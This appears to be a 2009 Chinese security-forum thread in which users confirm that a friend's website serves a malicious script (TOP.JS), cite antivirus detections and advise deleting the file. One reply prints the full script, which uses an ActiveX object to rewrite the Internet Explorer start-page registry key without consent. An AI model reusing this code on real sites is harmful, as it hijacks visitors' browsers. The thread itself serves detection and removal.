朋友的网站帮看看，是不是中毒了

显示全部楼层 · 发表于 2009-4-29 13:15:11

http://www.350dy.com

显示全部楼层 · 发表于 2009-4-29 13:20:59

;try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.350dy.com);}

不是false alarm

你叫你朋友刪除http://www.350dy.com/JS/Ads/TOP.JS便可以

[ 本帖最后由 sam.to 于 2009-4-29 13:24 编辑 ]

显示全部楼层 · 发表于 2009-4-29 13:40:58

费尔杀了

显示全部楼层 · 发表于 2009-4-29 16:23:30

Hello,

URL was added to the blacklist.

Thanks!

显示全部楼层 · 发表于 2009-4-29 19:18:19

DR.WEB
http://www.350dy.com//JS/Ads/TOP.JS infected with Trojan.StartPage.1293

显示全部楼层 · 发表于 2009-4-29 20:34:40

McAfee JS/Seeker.gen.e

显示全部楼层 · 发表于 2009-4-30 01:17:01

多谢

显示全部楼层 · 发表于 2009-4-30 02:55:31

top.js
<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.350dy.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>

用IE8打开http://www.350dy.com，过360，nod32 ess3.0

就是强迫改变主页的

[ 本帖最后由 zdd807 于 2009-4-30 02:59 编辑 ]

显示全部楼层 · 发表于 2009-4-30 06:54:21

有病毒哦

显示全部楼层 · 发表于 2009-4-30 10:27:05

红伞杀之

[可疑文件] 朋友的网站帮看看，是不是中毒了

本帖子中包含更多资源

本帖子中包含更多资源